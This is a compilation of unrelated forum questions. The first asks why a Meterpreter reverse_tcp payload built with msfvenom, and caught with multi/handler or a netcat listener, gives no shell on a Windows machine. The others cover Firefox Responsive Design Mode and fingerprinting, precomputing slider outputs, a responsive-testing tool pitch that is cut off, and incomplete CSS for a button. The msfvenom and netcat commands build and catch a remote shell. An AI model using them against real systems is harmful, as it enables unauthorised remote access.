MSF Venom Reverse TCP-Shell: Meterpreter and Netcat Listeners not responsive

I have created a MSFVenom TCP Reverse Shell Paypload that is executed on a Windows Machine:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST= LPORT=4443 -f exe -o shell.exe 

In addition I am running a listener with Metasploit’s "multi/handler" or alternatively, a netcat listener:

nc -lvp 4443 

However, after executing the payload on the target machine, I cannot get a working shell. Neither on Meterpreter nor Netcat.


Meterpreter does not respond to any command, or backgrounding. I cannot get the normal Meterpreter Shell.

Netcat Listener

There is also no shell appearing on Netcat.

Any help or suggestions are very appreciated!

Effect of Firefox’s “Responsive Design Mode” on the browser’s fingerprint

Today I switched ON the "Responsive Design Mode" under the "Web Developer" Section of the Firefox menu, and from the dropdown menu selected "iPhone X/XS iOS 12".

So now every webpage I visited was being sent the request that the screen size of my device was "375×812".

My question is that, can this method enhance my protection against browser fingerprinting(assuming I also take some other precautions)? Because the websites now wouldn’t be able to know my original aspect ratio/screen resolution, and above 2 iPhones are quite common too(I am using a laptop).

I earlier tried to scale the Firefox window to nearly the aspect ratio of a mobile phone, but that didn’t make any differnce at all.


(i) In the context of this question my adversaries are only the companies and their websites,and not the Governments & ISPs.

(ii) I am just asking about the effect of this method on my browser’s fingerprint, that is, whether it will increase or decrease the fingerprint. Be advised: I am not using this as the only method.

(iii) Firefox version: 78.0.2

(iv) OS: some linux distro.

Responsive input sliders – is there a better way?

I am building an app where a user controls inputs via multiple sliders each with discrete steps. The app then uses the combination of slider values to run some calculations and returns back an output value.

The sliders are meant to be highly responsive, so the user can immediately see the impact of their input combination on the output value -so I have resorted to eagerly calculating ALL possible combinations of sliders and letting the client query the results in the browser itself for faster response times.

The problem is that the number of possible combinations can seriously explode. If I have 5 inputs each with 10 steps, that is 5^10 = 9.8 million possible combinations! That’s way too expensive to calculate eagerly.

Is there a better way to do this? I could try to restrict the number of sliders that can be moved at any point, to lower the solution space…but wondering if there’s a better solution out there.

Responsive websites testing

Hi everyone ,

I'm a web developer, and I've often found myself wasting too much time checking if a responsive website displays properly on all screen sizes.

I feel we have lots of powerful and advanced applications to design and code websites, but there are very few tools to test and debug the behavior of responsive web pages.

I guess many of you have found themselves in my shoes before.

To overcome this problem and make our work easier, I've created slashB, an application that provides…

Resizing CTA button & keep it responsive


I want to resize the CTA button on a single product page to fit the container.
I used this CSS code to do so:

.single_add_to_cart_button.button.alt {
height: 47.35px;
width: 552px;
font-size: 25px;
text-align: center;

and it works fine on desktop screen.
I added this CSS code to make a button responsive & adaptative.

@media only screen and (max-width: 480px){
max-width:600px !important;
